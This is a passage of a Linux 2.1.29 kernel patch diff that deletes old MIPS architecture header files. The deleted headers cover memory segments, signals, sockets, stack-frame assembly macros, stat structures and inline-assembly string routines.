__asm__ __volatile__("": : :"memory") - -/* - * Uh, these should become the main single-value transfer routines.. - * They automatically use the right size if we just have the right - * pointer type.. - */ -#define put_user(x,ptr) __put_user((unsigned long)(x),(ptr),sizeof(*(ptr))) -#define get_user(ptr) ((__typeof__(*(ptr)))__get_user((ptr),sizeof(*(ptr)))) - -/* - * This is a silly but good way to make sure that - * the __put_user function is indeed always optimized, - * and that we use the correct sizes.. - */ -extern int bad_user_access_length(void); - -/* I should make this use unaligned transfers etc.. */ -static inline void __put_user(unsigned long x, void * y, int size) -{ - __gcc_barrier(); - switch (size) { - case 1: - *(char *) y = x; - break; - case 2: - *(short *) y = x; - break; - case 4: - *(int *) y = x; - break; - case 8: - *(long *) y = x; - break; - default: - bad_user_access_length(); - } - __gcc_barrier(); -} - -/* I should make this use unaligned transfers etc.. */ -static inline unsigned long __get_user(const void * y, int size) -{ - unsigned long result; - - __gcc_barrier(); - switch (size) { - case 1: - result = *(unsigned char *) y; - break; - case 2: - result = *(unsigned short *) y; - break; - case 4: - result = *(unsigned int *) y; - break; - case 8: - result = *(unsigned long *) y; - break; - default: - result = bad_user_access_length(); - break; - } - __gcc_barrier(); - - return result; -} - -#define get_fs_byte(addr) get_user((unsigned char *)(addr)) -#define get_fs_word(addr) get_user((unsigned short *)(addr)) -#define get_fs_long(addr) get_user((unsigned int *)(addr)) -#define get_fs_quad(addr) get_user((unsigned long *)(addr)) - -#define put_fs_byte(x,addr) put_user((x),(char *)(addr)) -#define put_fs_word(x,addr) put_user((x),(short *)(addr)) -#define put_fs_long(x,addr) put_user((x),(int *)(addr)) -#define put_fs_quad(x,addr) put_user((x),(long *)(addr)) - -static inline void memcpy_fromfs(void * to, const void * from, unsigned long n) -{ - __gcc_barrier(); - memcpy(to, from, n); - __gcc_barrier(); -} - -static inline void memcpy_tofs(void * to, const void * from, unsigned long n) -{ - __gcc_barrier(); - memcpy(to, from, n); - __gcc_barrier(); -} - -/* - * For segmented architectures, these are used to specify which segment - * to use for the above functions. - * - * MIPS is not segmented, so these are just dummies. - */ - -#define KERNEL_DS 0 -#define USER_DS 1 - -static inline unsigned long get_fs(void) -{ - return USER_DS; -} - -static inline unsigned long get_ds(void) -{ - return KERNEL_DS; -} - -static inline void set_fs(unsigned long val) -{ -} - -#endif /* !__LANGUAGE_ASSEMBLY__ */ - -/* - * Memory segments (32bit kernel mode addresses) - */ -#define KUSEG 0x00000000 -#define KSEG0 0x80000000 -#define KSEG1 0xa0000000 -#define KSEG2 0xc0000000 -#define KSEG3 0xe0000000 - -/* - * Returns the kernel segment base of a given address - */ -#define KSEGX(a) (((unsigned long)(a)) & 0xe0000000) - -/* - * Returns the physical address of a KSEG0/KSEG1 address - */ -#define PHYSADDR(a) (((unsigned long)(a)) & 0x1fffffff) - -/* - * Map an address to a certain kernel segment - */ -#define KSEG0ADDR(a) ((((unsigned long)(a)) & 0x1fffffff) | KSEG0) -#define KSEG1ADDR(a) ((((unsigned long)(a)) & 0x1fffffff) | KSEG1) -#define KSEG2ADDR(a) ((((unsigned long)(a)) & 0x1fffffff) | KSEG2) -#define KSEG3ADDR(a) ((((unsigned long)(a)) & 0x1fffffff) | KSEG3) - -/* - * Memory segments (64bit kernel mode addresses) - */ -#define XKUSEG 0x0000 0000 0000 0000 -#define XKSSEG 0x4000 0000 0000 0000 -#define XKPHYS 0x8000 0000 0000 0000 -#define XKSEG 0xc000 0000 0000 0000 -#define CKSEG0 0xffff ffff 8000 0000 -#define CKSEG1 0xffff ffff a000 0000 -#define CKSSEG 0xffff ffff c000 0000 -#define CKSEG3 0xffff ffff e000 0000 - -#endif /* __ASM_MIPS_SEGMENT_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/shmparam.h linux/include/asm-mips/shmparam.h --- linux-2.1.29/include/asm-mips/shmparam.h Mon May 6 05:26:15 1996 +++ linux/include/asm-mips/shmparam.h Wed Dec 31 19:00:00 1969 @@ -1,47 +0,0 @@ -#ifndef __ASM_MIPS_SHMPARAM_H -#define __ASM_MIPS_SHMPARAM_H - -/* address range for shared memory attaches if no address passed to shmat() */ -#define SHM_RANGE_START 0x50000000 -#define SHM_RANGE_END 0x60000000 - -/* - * Format of a swap-entry for shared memory pages currently out in - * swap space (see also mm/swap.c). - * - * SWP_TYPE = SHM_SWP_TYPE - * SWP_OFFSET is used as follows: - * - * bits 0..6 : id of shared memory segment page belongs to (SHM_ID) - * bits 7..21: index of page within shared memory segment (SHM_IDX) - * (actually fewer bits get used since SHMMAX is so low) - */ - -/* - * Keep _SHM_ID_BITS as low as possible since SHMMNI depends on it and - * there is a static array of size SHMMNI. - */ -#define _SHM_ID_BITS 7 -#define SHM_ID_MASK ((1<<_SHM_ID_BITS)-1) - -#define SHM_IDX_SHIFT (_SHM_ID_BITS) -#define _SHM_IDX_BITS 15 -#define SHM_IDX_MASK ((1<<_SHM_IDX_BITS)-1) - -/* - * _SHM_ID_BITS + _SHM_IDX_BITS must be <= 24 on the i386 and - * SHMMAX <= (PAGE_SIZE << _SHM_IDX_BITS). - */ - -#define SHMMAX 0x1000000 /* max shared seg size (bytes) */ -#define SHMMIN 1 /* really PAGE_SIZE */ /* min shared seg size (bytes) */ -#define SHMMNI (1<<_SHM_ID_BITS) /* max num of segs system wide */ -#define SHMALL /* max shm system wide (pages) */ \ - (1<<(_SHM_IDX_BITS+_SHM_ID_BITS)) -/* - * This constant is very large but the ABI in its wisdom says ... - */ -#define SHMLBA 0x40000 /* attach addr a multiple of this */ -#define SHMSEG SHMMNI /* max shared segs per process */ - -#endif /* __ASM_MIPS_SHMPARAM_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/sigcontext.h linux/include/asm-mips/sigcontext.h --- linux-2.1.29/include/asm-mips/sigcontext.h Wed Dec 13 05:39:46 1995 +++ linux/include/asm-mips/sigcontext.h Wed Dec 31 19:00:00 1969 @@ -1,21 +0,0 @@ -#ifndef __ASM_MIPS_SIGCONTEXT_H -#define __ASM_MIPS_SIGCONTEXT_H - -/* - * This struct isn't in the ABI, so we continue to use the old - * pre 1.3 definition. Needs to be changed for 64 bit kernels, - * but it's 4am ... - */ -struct sigcontext_struct { - unsigned long sc_at, sc_v0, sc_v1, sc_a0, sc_a1, sc_a2, sc_a3; - unsigned long sc_t0, sc_t1, sc_t2, sc_t3, sc_t4, sc_t5, sc_t6, sc_t7; - unsigned long sc_s0, sc_s1, sc_s2, sc_s3, sc_s4, sc_s5, sc_s6, sc_s7; - unsigned long sc_t8, sc_t9, sc_gp, sc_sp, sc_fp, sc_ra; - - unsigned long sc_epc; - unsigned long sc_cause; - - unsigned long sc_oldmask; -}; - -#endif /* __ASM_MIPS_SIGCONTEXT_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/signal.h linux/include/asm-mips/signal.h --- linux-2.1.29/include/asm-mips/signal.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/signal.h Wed Dec 31 19:00:00 1969 @@ -1,128 +0,0 @@ -#ifndef __ASM_MIPS_SIGNAL_H -#define __ASM_MIPS_SIGNAL_H - -/* - * For now ... - */ -#include -typedef __u64 sigset_t; - -#if 0 -/* - * This is what we should really use but the kernel can't handle - * a non-scalar type yet. Since we use 64 signals only anyway we - * just use __u64 and pad another 64 bits in the kernel for now ... - */ -typedef struct { - unsigned int sigbits[4]; -} sigset_t; -#endif - -#define _NSIG 65 -#define NSIG _NSIG - -/* - * For 1.3.0 Linux/MIPS changed the signal numbers to be compatible the ABI. - */ -#define SIGHUP 1 /* Hangup (POSIX). */ -#define SIGINT 2 /* Interrupt (ANSI). */ -#define SIGQUIT 3 /* Quit (POSIX). */ -#define SIGILL 4 /* Illegal instruction (ANSI). */ -#define SIGTRAP 5 /* Trace trap (POSIX). */ -#define SIGIOT 6 /* IOT trap (4.2 BSD). */ -#define SIGABRT SIGIOT /* Abort (ANSI). */ -#define SIGEMT 7 -#define SIGFPE 8 /* Floating-point exception (ANSI). */ -#define SIGKILL 9 /* Kill, unblockable (POSIX). */ -#define SIGBUS 10 /* BUS error (4.2 BSD). */ -#define SIGSEGV 11 /* Segmentation violation (ANSI). */ -#define SIGSYS 12 -#define SIGPIPE 13 /* Broken pipe (POSIX). */ -#define SIGALRM 14 /* Alarm clock (POSIX). */ -#define SIGTERM 15 /* Termination (ANSI). */ -#define SIGUSR1 16 /* User-defined signal 1 (POSIX). */ -#define SIGUSR2 17 /* User-defined signal 2 (POSIX). */ -#define SIGCHLD 18 /* Child status has changed (POSIX). */ -#define SIGCLD SIGCHLD /* Same as SIGCHLD (System V). */ -#define SIGPWR 19 /* Power failure restart (System V). */ -#define SIGWINCH 20 /* Window size change (4.3 BSD, Sun). */ -#define SIGURG 21 /* Urgent condition on socket (4.2 BSD). */ -#define SIGIO 22 /* I/O now possible (4.2 BSD). */ -#define SIGPOLL SIGIO /* Pollable event occurred (System V). */ -#define SIGSTOP 23 /* Stop, unblockable (POSIX). */ -#define SIGTSTP 24 /* Keyboard stop (POSIX). */ -#define SIGCONT 25 /* Continue (POSIX). */ -#define SIGTTIN 26 /* Background read from tty (POSIX). */ -#define SIGTTOU 27 /* Background write to tty (POSIX). */ -#define SIGVTALRM 28 /* Virtual alarm clock (4.2 BSD). */ -#define SIGPROF 29 /* Profiling alarm clock (4.2 BSD). */ -#define SIGXCPU 30 /* CPU limit exceeded (4.2 BSD). */ -#define SIGXFSZ 31 /* File size limit exceeded (4.2 BSD). */ - -/* - * sa_flags values: SA_STACK is not currently supported, but will allow the - * usage of signal stacks by using the (now obsolete) sa_restorer field in - * the sigaction structure as a stack pointer. This is now possible due to - * the changes in signal handling. LBT 010493. - * SA_INTERRUPT is a no-op, but left due to historical reasons. Use the - * SA_RESTART flag to get restarting signals (which were the default long ago) - * SA_SHIRQ flag is for shared interrupt support on PCI and EISA. - */ -#define SA_STACK 0x1 -#define SA_ONSTACK SA_STACK -#define SA_RESTART 0x4 -#define SA_NOCLDSTOP 0x20000 -/* Non ABI signals */ -#define SA_INTERRUPT 0x01000000 -#define SA_NOMASK 0x02000000 -#define SA_ONESHOT 0x04000000 -#define SA_SHIRQ 0x08000000 - -#ifdef __KERNEL__ -/* - * These values of sa_flags are used only by the kernel as part of the - * irq handling routines. - * - * SA_INTERRUPT is also used by the irq handling routines. - */ -#define SA_PROBE SA_ONESHOT -#define SA_SAMPLE_RANDOM SA_RESTART -#endif - -#define SIG_BLOCK 1 /* for blocking signals */ -#define SIG_UNBLOCK 2 /* for unblocking signals */ -#define SIG_SETMASK 3 /* for setting the signal mask */ - -/* Type of a signal handler. */ -typedef void (*__sighandler_t)(int); - -/* Fake signal functions */ -#define SIG_DFL ((__sighandler_t)0) /* default signal handling */ -#define SIG_IGN ((__sighandler_t)1) /* ignore signal */ -#define SIG_ERR ((__sighandler_t)-1) /* error return from signal */ - -struct sigaction { - unsigned int sa_flags; - __sighandler_t sa_handler; - sigset_t sa_mask; - /* - * To keep the ABI structure size we have to fill a little gap ... - */ - unsigned int sa_mask_pad[2]; - - /* Abi says here follows reserved int[2] */ - void (*sa_restorer)(void); -#if __mips < 3 - /* - * For 32 bit code we have to pad struct sigaction to get - * constant size for the ABI - */ - int pad0[1]; /* reserved */ -#endif -}; - -#ifdef __KERNEL__ -#include -#endif - -#endif /* __ASM_MIPS_SIGNAL_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/slots.h linux/include/asm-mips/slots.h --- linux-2.1.29/include/asm-mips/slots.h Fri Jan 13 13:37:41 1995 +++ linux/include/asm-mips/slots.h Wed Dec 31 19:00:00 1969 @@ -1,17 +0,0 @@ -/* - * include/asm-mips/slots.h - * - * Copyright (C) 1994 by Waldorf Electronics - * Written by Ralf Baechle - */ -#ifndef __ASM_MIPS_SLOTS_H -#define __ASM_MIPS_SLOTS_H - -/* - * SLOTSPACE is the address to which the physical address 0 - * of the Slotspace is mapped by the chipset in the main CPU's - * address space. - */ -#define SLOTSPACE 0xe1000000 - -#endif /* __ASM_MIPS_SLOTS_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/socket.h linux/include/asm-mips/socket.h --- linux-2.1.29/include/asm-mips/socket.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/socket.h Wed Dec 31 19:00:00 1969 @@ -1,58 +0,0 @@ -#ifndef __ASM_MIPS_SOCKET_H -#define __ASM_MIPS_SOCKET_H - -#include -#include - -/* Socket-level I/O control calls. */ -#define FIOGETOWN _IOR('f', 123, int) -#define FIOSETOWN _IOW('f', 124, int) - -#define SIOCATMARK _IOR('s', 7, int) -#define SIOCSPGRP _IOW('s', 8, pid_t) -#define SIOCGPGRP _IOR('s', 9, pid_t) - -#define SIOCGSTAMP 0x8906 /* Get stamp - linux-specific */ - -/* - * For setsockoptions(2) - * - * This defines are ABI conformant as far as Linux supports these ... - */ -#define SOL_SOCKET 0xffff - -#define SO_DEBUG 0x0001 -#define SO_REUSEADDR 0x0004 -#define SO_KEEPALIVE 0x0008 -#define SO_DONTROUTE 0x0010 -#define SO_BROADCAST 0x0020 -#define SO_LINGER 0x0080 -#define SO_OOBINLINE 0x0100 -/* To add: #define SO_REUSEPORT 0x0200 */ - -#define SO_TYPE 0x1008 -#define SO_ERROR 0x1007 -#define SO_SNDBUF 0x1001 -#define SO_RCVBUF 0x1002 - -/* linux-specific, might as well be the same as on i386 */ -#define SO_NO_CHECK 11 -#define SO_PRIORITY 12 -#define SO_BSDCOMPAT 14 - -/* - * Weird. There are two ABIs; in the old one SOCK_STREAM and SOCK_DGRAM - * have swapped values. I choose to be compatible with the new one. - */ -#define SOCK_DGRAM 1 /* datagram (conn.less) socket */ -#define SOCK_STREAM 2 /* stream (connection) socket */ -#define SOCK_RAW 3 /* raw socket */ -#define SOCK_RDM 4 /* reliably-delivered message */ -#define SOCK_SEQPACKET 5 /* sequential packet socket */ -#define SOCK_PACKET 10 /* linux specific way of */ - /* getting packets at the dev */ - /* level. For writing rarp and */ - /* other similar things on the */ - /* user level. */ - -#endif /* __ASM_MIPS_SOCKET_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/stackframe.h linux/include/asm-mips/stackframe.h --- linux-2.1.29/include/asm-mips/stackframe.h Wed Dec 13 05:39:46 1995 +++ linux/include/asm-mips/stackframe.h Wed Dec 31 19:00:00 1969 @@ -1,189 +0,0 @@ -/* - * include/asm-mips/stackframe.h - * - * Copyright (C) 1994, 1995 Waldorf Electronics - * written by Ralf Baechle - */ - -#ifndef __ASM_MIPS_STACKFRAME_H -#define __ASM_MIPS_STACKFRAME_H - -/* - * Stack layout for all exceptions: - * - * ptrace needs to have all regs on the stack. If the order here is changed, - * it needs to be updated in include/asm-mips/ptrace.h - * - * The first PTRSIZE*5 bytes are argument save space for C subroutines. - */ -#define FR_REG1 (PTRSIZE*5) -#define FR_REG2 ((FR_REG1) + 4) -#define FR_REG3 ((FR_REG2) + 4) -#define FR_REG4 ((FR_REG3) + 4) -#define FR_REG5 ((FR_REG4) + 4) -#define FR_REG6 ((FR_REG5) + 4) -#define FR_REG7 ((FR_REG6) + 4) -#define FR_REG8 ((FR_REG7) + 4) -#define FR_REG9 ((FR_REG8) + 4) -#define FR_REG10 ((FR_REG9) + 4) -#define FR_REG11 ((FR_REG10) + 4) -#define FR_REG12 ((FR_REG11) + 4) -#define FR_REG13 ((FR_REG12) + 4) -#define FR_REG14 ((FR_REG13) + 4) -#define FR_REG15 ((FR_REG14) + 4) -#define FR_REG16 ((FR_REG15) + 4) -#define FR_REG17 ((FR_REG16) + 4) -#define FR_REG18 ((FR_REG17) + 4) -#define FR_REG19 ((FR_REG18) + 4) -#define FR_REG20 ((FR_REG19) + 4) -#define FR_REG21 ((FR_REG20) + 4) -#define FR_REG22 ((FR_REG21) + 4) -#define FR_REG23 ((FR_REG22) + 4) -#define FR_REG24 ((FR_REG23) + 4) -#define FR_REG25 ((FR_REG24) + 4) - -/* - * $26 (k0) and $27 (k1) not saved - */ -#define FR_REG28 ((FR_REG25) + 4) -#define FR_REG29 ((FR_REG28) + 4) -#define FR_REG30 ((FR_REG29) + 4) -#define FR_REG31 ((FR_REG30) + 4) - -/* - * Saved special registers - */ -#define FR_LO ((FR_REG31) + 4) -#define FR_HI ((FR_LO) + 4) - -/* - * Saved cp0 registers follow - */ -#define FR_STATUS ((FR_HI) + 4) -#define FR_EPC ((FR_STATUS) + 4) -#define FR_CAUSE ((FR_EPC) + 4) - -/* - * Some goodies... - */ -#define FR_INTERRUPT ((FR_CAUSE) + 4) -#define FR_ORIG_REG2 ((FR_INTERRUPT) + 4) -#define FR_PAD1 ((FR_ORIG_REG2) + 4) - -/* - * Size of stack frame, word/double word alignment - */ -#define FR_SIZE ((((FR_PAD1) + 4) + (PTRSIZE-1)) & ~(PTRSIZE-1)) - -#ifdef __R4000__ - -#define SAVE_ALL \ - mfc0 k0,CP0_STATUS; \ - sll k0,3; /* extract cu0 bit */ \ - bltz k0,8f; \ - move k1,sp; \ - /* \ - * Called from user mode, new stack \ - */ \ - lui k1,%hi(kernelsp); \ - lw k1,%lo(kernelsp)(k1); \ -8: move k0,sp; \ - subu sp,k1,FR_SIZE; \ - sw k0,FR_REG29(sp); \ - sw $2,FR_REG2(sp); \ - sw $2,FR_ORIG_REG2(sp); \ - mfc0 v0,CP0_STATUS; \ - sw v0,FR_STATUS(sp); \ - mfc0 v0,CP0_CAUSE; \ - sw v0,FR_CAUSE(sp); \ - mfc0 v0,CP0_EPC; \ - sw v0,FR_EPC(sp); \ - mfhi v0; \ - sw v0,FR_HI(sp); \ - mflo v0; \ - sw v0,FR_LO(sp); \ - sw $1,FR_REG1(sp); \ - sw $3,FR_REG3(sp); \ - sw $4,FR_REG4(sp); \ - sw $5,FR_REG5(sp); \ - sw $6,FR_REG6(sp); \ - sw $7,FR_REG7(sp); \ - sw $8,FR_REG8(sp); \ - sw $9,FR_REG9(sp); \ - sw $10,FR_REG10(sp); \ - sw $11,FR_REG11(sp); \ - sw $12,FR_REG12(sp); \ - sw $13,FR_REG13(sp); \ - sw $14,FR_REG14(sp); \ - sw $15,FR_REG15(sp); \ - sw $16,FR_REG16(sp); \ - sw $17,FR_REG17(sp); \ - sw $18,FR_REG18(sp); \ - sw $19,FR_REG19(sp); \ - sw $20,FR_REG20(sp); \ - sw $21,FR_REG21(sp); \ - sw $22,FR_REG22(sp); \ - sw $23,FR_REG23(sp); \ - sw $24,FR_REG24(sp); \ - sw $25,FR_REG25(sp); \ - sw $28,FR_REG28(sp); \ - sw $30,FR_REG30(sp); \ - sw $31,FR_REG31(sp) - -/* - * Note that we restore the IE flags from stack. This means - * that a modified IE mask will be nullified. - */ -#define RESTORE_ALL \ - .set mips3; \ - mfc0 t0,CP0_STATUS; \ - ori t0,0x1f; \ - xori t0,0x1f; \ - mtc0 t0,CP0_STATUS; \ - \ - lw v0,FR_STATUS(sp); \ - lw v1,FR_LO(sp); \ - mtc0 v0,CP0_STATUS; \ - mtlo v1; \ - lw v0,FR_HI(sp); \ - lw v1,FR_EPC(sp); \ - mthi v0; \ - mtc0 v1,CP0_EPC; \ - lw $31,FR_REG31(sp); \ - lw $30,FR_REG30(sp); \ - lw $28,FR_REG28(sp); \ - lw $25,FR_REG25(sp); \ - lw $24,FR_REG24(sp); \ - lw $23,FR_REG23(sp); \ - lw $22,FR_REG22(sp); \ - lw $21,FR_REG21(sp); \ - lw $20,FR_REG20(sp); \ - lw $19,FR_REG19(sp); \ - lw $18,FR_REG18(sp); \ - lw $17,FR_REG17(sp); \ - lw $16,FR_REG16(sp); \ - lw $15,FR_REG15(sp); \ - lw $14,FR_REG14(sp); \ - lw $13,FR_REG13(sp); \ - lw $12,FR_REG12(sp); \ - lw $11,FR_REG11(sp); \ - lw $10,FR_REG10(sp); \ - lw $9,FR_REG9(sp); \ - lw $8,FR_REG8(sp); \ - lw $7,FR_REG7(sp); \ - lw $6,FR_REG6(sp); \ - lw $5,FR_REG5(sp); \ - lw $4,FR_REG4(sp); \ - lw $3,FR_REG3(sp); \ - lw $2,FR_REG2(sp); \ - lw $1,FR_REG1(sp); \ - lw sp,FR_REG29(sp); /* Deallocate stack */ \ - .set mips0 - -#else /* !defined (__R4000__) */ - -#error "Implement SAVE_ALL and RESTORE_ALL!" - -#endif /* !defined (__R4000__) */ - -#endif /* __ASM_MIPS_STACKFRAME_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/stat.h linux/include/asm-mips/stat.h --- linux-2.1.29/include/asm-mips/stat.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/stat.h Wed Dec 31 19:00:00 1969 @@ -1,55 +0,0 @@ -#ifndef __ASM_MIPS_STAT_H -#define __ASM_MIPS_STAT_H - -#include - -struct old_stat { - unsigned int st_dev; - unsigned int st_ino; - unsigned int st_mode; - unsigned int st_nlink; - unsigned int st_uid; - unsigned int st_gid; - unsigned int st_rdev; - long st_size; - unsigned int st_atime, st_res1; - unsigned int st_mtime, st_res2; - unsigned int st_ctime, st_res3; - unsigned int st_blksize; - int st_blocks; - unsigned int st_flags; - unsigned int st_gen; -}; - -struct new_stat { - dev_t st_dev; - long st_pad1[3]; /* Reserved for network id */ - ino_t st_ino; - mode_t st_mode; - nlink_t st_nlink; - uid_t st_uid; - gid_t st_gid; - dev_t st_rdev; - long st_pad2[2]; - off_t st_size; - long st_pad3; - /* - * Actually this should be timestruc_t st_atime, st_mtime and st_ctime - * but we don't have it under Linux. - */ - time_t st_atime; - long reserved0; - time_t st_mtime; - long reserved1; - time_t st_ctime; - long reserved2; - long st_blksize; - long st_blocks; - char st_fstype[16]; /* Filesystem type name */ - long st_pad4[8]; - /* Linux specific fields */ - unsigned int st_flags; - unsigned int st_gen; -}; - -#endif /* __ASM_MIPS_STAT_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/statfs.h linux/include/asm-mips/statfs.h --- linux-2.1.29/include/asm-mips/statfs.h Wed Dec 13 05:39:47 1995 +++ linux/include/asm-mips/statfs.h Wed Dec 31 19:00:00 1969 @@ -1,25 +0,0 @@ -#ifndef __ASM_MIPS_STATFS_H -#define __ASM_MIPS_STATFS_H - -typedef struct { - long val[2]; -} fsid_t; - -struct statfs { - long f_type; -#define f_fstyp f_type - long f_bsize; - long f_frsize; /* Fragment size - unsupported */ - long f_blocks; - long f_bfree; - long f_files; - long f_ffree; - - /* Linux specials */ - long f_bavail; - fsid_t f_fsid; - long f_namelen; - long f_spare[6]; -}; - -#endif /* __ASM_MIPS_STATFS_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/string.h linux/include/asm-mips/string.h --- linux-2.1.29/include/asm-mips/string.h Wed Dec 13 05:39:47 1995 +++ linux/include/asm-mips/string.h Wed Dec 31 19:00:00 1969 @@ -1,227 +0,0 @@ -/* - * include/asm-mips/string.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (c) 1994, 1995 Waldorf Electronics - * written by Ralf Baechle - */ -#ifndef __ASM_MIPS_STRING_H -#define __ASM_MIPS_STRING_H - -#define __HAVE_ARCH_STRCPY -extern __inline__ char * strcpy(char * dest, const char *src) -{ - char *xdest = dest; - - __asm__ __volatile__( - ".set\tnoreorder\n\t" - ".set\tnoat\n" - "1:\tlbu\t$1,(%1)\n\t" - "addiu\t%1,1\n\t" - "sb\t$1,(%0)\n\t" - "bnez\t$1,1b\n\t" - "addiu\t%0,1\n\t" - ".set\tat\n\t" - ".set\treorder" - : "=r" (dest), "=r" (src) - : "0" (dest), "1" (src) - : "$1","memory"); - - return xdest; -} - -#define __HAVE_ARCH_STRNCPY -extern __inline__ char * strncpy(char *dest, const char *src, size_t n) -{ - char *xdest = dest; - - if (n == 0) - return xdest; - - __asm__ __volatile__( - ".set\tnoreorder\n\t" - ".set\tnoat\n" - "1:\tlbu\t$1,(%1)\n\t" - "subu\t%2,%2,1\n\t" - "sb\t$1,(%0)\n\t" - "beqz\t$1,2f\n\t" - "addiu\t%0,%0,1\n\t" - "bnez\t%2,1b\n\t" - "addiu\t%1,%1,1\n" - "2:\n\t" - ".set\tat\n\t" - ".set\treorder\n\t" - : "=r" (dest), "=r" (src), "=r" (n) - : "0" (dest), "1" (src), "2" (n) - : "$1","memory"); - - return dest; -} - -#define __HAVE_ARCH_STRCMP -extern __inline__ int strcmp(const char * cs, const char * ct) -{ - int __res; - - __asm__ __volatile__( - ".set\tnoreorder\n\t" - ".set\tnoat\n\t" - "lbu\t%2,(%0)\n" - "1:\tlbu\t$1,(%1)\n\t" - "addiu\t%0,1\n\t" - "bne\t$1,%2,2f\n\t" - "addiu\t%1,1\n\t" - "bnez\t%2,1b\n\t" - "lbu\t%2,(%0)\n\t" -#ifndef __R4000__ - "nop\n\t" -#endif - "move\t%2,$1\n" - "2:\tsubu\t%2,$1\n" - "3:\t.set\tat\n\t" - ".set\treorder" - : "=d" (cs), "=d" (ct), "=d" (__res) - : "0" (cs), "1" (ct) - : "$1"); - - return __res; -} - -#define __HAVE_ARCH_STRNCMP -extern __inline__ int strncmp(const char * cs, const char * ct, size_t count) -{ - char __res; - - __asm__ __volatile__( - ".set\tnoreorder\n\t" - ".set\tnoat\n" - "1:\tlbu\t%3,(%0)\n\t" - "beqz\t%2,2f\n\t" - "lbu\t$1,(%1)\n\t" - "subu\t%2,1\n\t" - "bne\t$1,%3,3f\n\t" - "addiu\t%0,1\n\t" - "bnez\t%3,1b\n\t" - "addiu\t%1,1\n" - "2:\tmove\t%3,$1\n" - "3:\tsubu\t%3,$1\n\t" - ".set\tat\n\t" - ".set\treorder" - : "=d" (cs), "=d" (ct), "=d" (count), "=d" (__res) - : "0" (cs), "1" (ct), "2" (count) - : "$1"); - - return __res; -} - -#define __HAVE_ARCH_MEMSET -extern __inline__ void * memset(void * s, int c, size_t count) -{ - void *xs = s; - - if (!count) - return xs; - __asm__ __volatile__( - ".set\tnoreorder\n" - "1:\tsb\t%3,(%0)\n\t" - "bne\t%0,%1,1b\n\t" - "addiu\t%0,%0,1\n\t" - ".set\treorder" - : "=r" (s), "=r" (count) - : "0" (s), "r" (c), "1" (s + count - 1) - : "memory"); - - return xs; -} - -#define __HAVE_ARCH_MEMCPY -extern __inline__ void * memcpy(void * to, const void * from, size_t n) -{ - void *xto = to; - - if (!n) - return xto; - __asm__ __volatile__( - ".set\tnoreorder\n\t" - ".set\tnoat\n" - "1:\tlbu\t$1,(%1)\n\t" - "addiu\t%1,1\n\t" - "sb\t$1,(%0)\n\t" - "subu\t%2,1\n\t" - "bnez\t%2,1b\n\t" - "addiu\t%0,1\n\t" - ".set\tat\n\t" - ".set\treorder" - : "=r" (to), "=r" (from), "=r" (n) - : "0" (to), "1" (from), "2" (n) - : "$1","memory" ); - return xto; -} - -#define __HAVE_ARCH_MEMMOVE -extern __inline__ void * memmove(void * dest,const void * src, size_t n) -{ - void *xdest = dest; - - if (!n) - return xdest; - - if (dest < src) - __asm__ __volatile__( - ".set\tnoreorder\n\t" - ".set\tnoat\n" - "1:\tlbu\t$1,(%1)\n\t" - "addiu\t%1,1\n\t" - "sb\t$1,(%0)\n\t" - "subu\t%2,1\n\t" - "bnez\t%2,1b\n\t" - "addiu\t%0,1\n\t" - ".set\tat\n\t" - ".set\treorder" - : "=r" (dest), "=r" (src), "=r" (n) - : "0" (dest), "1" (src), "2" (n) - : "$1","memory" ); - else - __asm__ __volatile__( - ".set\tnoreorder\n\t" - ".set\tnoat\n" - "1:\tlbu\t$1,-1(%1)\n\t" - "subu\t%1,1\n\t" - "sb\t$1,-1(%0)\n\t" - "subu\t%2,1\n\t" - "bnez\t%2,1b\n\t" - "subu\t%0,1\n\t" - ".set\tat\n\t" - ".set\treorder" - : "=r" (dest), "=r" (src), "=r" (n) - : "0" (dest+n), "1" (src+n), "2" (n) - : "$1","memory" ); - return xdest; -} - -#define __HAVE_ARCH_MEMSCAN -extern __inline__ void * memscan(void * addr, int c, size_t size) -{ - if (!size) - return addr; - __asm__(".set\tnoreorder\n\t" - ".set\tnoat\n" - "1:\tbeqz\t%1,2f\n\t" - "lbu\t$1,(%0)\n\t" - "subu\t%1,1\n\t" - "bnez\t%1,1b\n\t" - "addiu\t%0,1\n\t" - ".set\tat\n\t" - ".set\treorder\n" - "2:" - : "=r" (addr), "=r" (size) - : "0" (addr), "1" (size), "r" (c) - : "$1"); - - return addr; -} - -#endif /* __ASM_MIPS_STRING_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/sysmips.h linux/include/asm-mips/sysmips.h --- linux-2.1.29/include/asm-mips/sysmips.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/sysmips.h Wed Dec 31 19:00:00 1969 @@ -1,24 +0,0 @@ -/* - * Definitions for the MIPS sysmips(2) call - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#ifndef __ASM_MIPS_SYSMIPS_H -#define __ASM_MIPS_SYSMIPS_H - -/* - * Commands for the sysmips(2) call - * - * sysmips(2) is deprecated - though some existing software uses it. - * We only support the following commands. - */ -#define SETNAME 1 /* set hostname */ -#define FLUSH_CACHE 3 /* writeback and invalidate caches */ -#define MIPS_FIXADE 7 /* control address error fixing */ -#define MIPS_ATOMIC_SET 2001 /* atomically set variable */ - -#endif /* __ASM_MIPS_SYSMIPS_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/system.h linux/include/asm-mips/system.h --- linux-2.1.29/include/asm-mips/system.h Wed Dec 13 05:39:47 1995 +++ linux/include/asm-mips/system.h Wed Dec 31 19:00:00 1969 @@ -1,220 +0,0 @@ -/* - * include/asm-mips/system.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file 